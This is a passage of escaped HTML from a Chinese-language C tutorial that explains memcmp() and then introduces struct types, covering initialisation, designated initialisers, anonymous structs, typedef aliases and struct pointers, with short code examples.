class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受三个参数,前两个参数是用来比较的指针,第三个参数指定比较的字节数。\u003c/p\u003e\u003cp\u003e它的返回值是一个整数。两块内存区域的每个字节以字符形式解读,按照字典顺序进行比较,如果两者相同,返回\u003ccode\u003e0\u003c/code\u003e;如果\u003ccode\u003es1\u003c/code\u003e大于\u003ccode\u003es2\u003c/code\u003e,返回大于0的整数;如果\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,返回小于0的整数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2 = \u003cspan class=\"string\"\u003e\u0026#34;acd\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e r = \u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e3\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 小于 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例比较\u003ccode\u003es1\u003c/code\u003e和\u003ccode\u003es2\u003c/code\u003e的前三个字节,由于\u003ccode\u003es1\u003c/code\u003e小于\u003ccode\u003es2\u003c/code\u003e,所以\u003ccode\u003er\u003c/code\u003e是一个小于0的整数,一般为-1。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s1[] = {\u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;g\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[] = {\u003cspan class=\"string\"\u003e\u0026#39;b\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;i\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;g\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;t\u0026#39;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e3\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e4\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// true\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003ememcmp\u003c/span\u003e(s1, s2, \u003cspan class=\"number\"\u003e7\u003c/span\u003e) == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// false\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例展示了,\u003ccode\u003ememcmp()\u003c/code\u003e可以比较内部带有字符串终止符\u003ccode\u003e\\0\u003c/code\u003e的内存区域。\u003c/p\u003e\u003ch2 id=\"struct-结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#struct-%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"struct 结构\"\u003e\u003c/a\u003estruct 结构\u003c/h2\u003e\u003ch3 id=\"简介-6\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-6\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003eC 语言内置的数据类型,除了最基本的几种原始类型,只有数组属于复合类型,可以同时包含多个值,但是只能包含相同类型的数据,实际使用中并不够用。\u003c/p\u003e\u003cp\u003e实际使用中,主要有下面两种情况,需要更灵活强大的复合类型。\u003c/p\u003e\u003cul\u003e\u003cli\u003e复杂的物体需要使用多个变量描述,这些变量都是相关的,最好有某种机制将它们联系起来。\u003c/li\u003e\u003cli\u003e某些函数需要传入多个参数,如果一个个按照顺序传入,非常麻烦,最好能组合成一个复合结构传入。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e为了解决这些问题,C 语言提供了\u003ccode\u003estruct\u003c/code\u003e关键字,允许自定义复合数据类型,将不同类型的值组合在一起。这样不仅为编程提供方便,也有利于增强代码的可读性。C 语言没有其他语言的对象(object)和类(class)的概念,struct 结构很大程度上提供了对象和类的功能。\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003estruct\u003c/code\u003e自定义数据类型的一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efraction\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e numerator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e denominator;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例定义了一个分数的数据类型\u003ccode\u003estruct fraction\u003c/code\u003e,包含两个属性\u003ccode\u003enumerator\u003c/code\u003e和\u003ccode\u003edenominator\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,作为一个自定义的数据类型,它的类型名要包括\u003ccode\u003estruct\u003c/code\u003e关键字,比如上例是\u003ccode\u003estruct fraction\u003c/code\u003e,单独的\u003ccode\u003efraction\u003c/code\u003e没有任何意义,甚至脚本还可以另外定义名为\u003ccode\u003efraction\u003c/code\u003e的变量,虽然这样很容易造成混淆。另外,\u003ccode\u003estruct\u003c/code\u003e语句结尾的分号不能省略,否则很容易产生错误。\u003c/p\u003e\u003cp\u003e定义了新的数据类型以后,就可以声明该类型的变量,这与声明其他类型变量的写法是一样的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efraction\u003c/span\u003e \u003cspan class=\"title\"\u003ef1\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef1.numerator = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ef1.denominator = \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先声明了一个\u003ccode\u003estruct fraction\u003c/code\u003e类型的变量\u003ccode\u003ef1\u003c/code\u003e,这时编译器就会为\u003ccode\u003ef1\u003c/code\u003e分配内存,接着就可以为\u003ccode\u003ef1\u003c/code\u003e的不同属性赋值。可以看到,struct 结构的属性通过点(\u003ccode\u003e.\u003c/code\u003e)来表示,比如\u003ccode\u003enumerator\u003c/code\u003e属性要写成\u003ccode\u003ef1.numerator\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e再提醒一下,声明自定义类型的变量时,类型名前面,不要忘记加上\u003ccode\u003estruct\u003c/code\u003e关键字。也就是说,必须使用\u003ccode\u003estruct fraction f1\u003c/code\u003e声明变量,不能写成\u003ccode\u003efraction f1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e除了逐一对属性赋值,也可以使用大括号,一次性对 struct 结构的所有属性赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* name;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e price;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e speed;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e \u003cspan class=\"title\"\u003esaturn\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;Saturn SL/2\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e16000.99\u003c/span\u003e, \u003cspan class=\"number\"\u003e175\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003esaturn\u003c/code\u003e是\u003ccode\u003estruct cat\u003c/code\u003e类型,大括号里面同时对它的三个属性赋值。如果大括号里面的值的数量,少于属性的数量,那么缺失的属性自动初始化为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,大括号里面的值的顺序,必须与 struct 类型声明时属性的顺序一致。否则,必须为每个值指定属性名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e \u003cspan class=\"title\"\u003esaturn\u003c/span\u003e =\u003c/span\u003e {.speed=\u003cspan class=\"number\"\u003e172\u003c/span\u003e, .name=\u003cspan class=\"string\"\u003e\u0026#34;Saturn SL/2\u0026#34;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,初始化的属性少于声明时的属性,这时剩下的那些属性都会初始化为\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e声明变量以后,可以修改某个属性的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecar\u003c/span\u003e \u003cspan class=\"title\"\u003esaturn\u003c/span\u003e =\u003c/span\u003e {.speed=\u003cspan class=\"number\"\u003e172\u003c/span\u003e, .name=\u003cspan class=\"string\"\u003e\u0026#34;Saturn SL/2\u0026#34;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esaturn.speed = \u003cspan class=\"number\"\u003e168\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将\u003ccode\u003espeed\u003c/code\u003e属性的值改成\u003ccode\u003e168\u003c/code\u003e。\u003c/p\u003e\u003cp\u003estruct 的数据类型声明语句与变量的声明语句,可以合并为一个语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} b1;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的语句同时声明了数据类型\u003ccode\u003ebook\u003c/code\u003e和该类型的变量\u003ccode\u003eb1\u003c/code\u003e。如果类型标识符\u003ccode\u003ebook\u003c/code\u003e只用在这一个地方,后面不再用到,这里可以将类型名省略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} b1;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estruct\u003c/code\u003e声明了一个匿名数据类型,然后又声明了这个类型的变量\u003ccode\u003eb1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e与其他变量声明语句一样,可以在声明变量的同时,对变量赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} b1 = {\u003cspan class=\"string\"\u003e\u0026#34;Harry Potter\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;J. K. Rowling\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e10.0\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e b2 = {\u003cspan class=\"string\"\u003e\u0026#34;Cancer Ward\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Aleksandr Solzhenitsyn\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e7.85\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,在声明变量\u003ccode\u003eb1\u003c/code\u003e和\u003ccode\u003eb2\u003c/code\u003e的同时,为它们赋值。\u003c/p\u003e\u003cp\u003e下一章介绍的\u003ccode\u003etypedef\u003c/code\u003e命令可以为 struct 结构指定一个别名,这样使用起来更简洁。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ecell_phone\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e cell_no;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e minutes_of_charge;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} phone;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ephone p = {\u003cspan class=\"number\"\u003e5551234\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ephone\u003c/code\u003e就是\u003ccode\u003estruct cell_phone\u003c/code\u003e的别名。\u003c/p\u003e\u003cp\u003e指针变量也可以指向\u003ccode\u003estruct\u003c/code\u003e结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}* b1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 或者写成两个语句\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ebook\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e title[\u003cspan class=\"number\"\u003e500\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e author[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e value;\u003c/span\u003e\u003cbr/\u003e\u003cspan 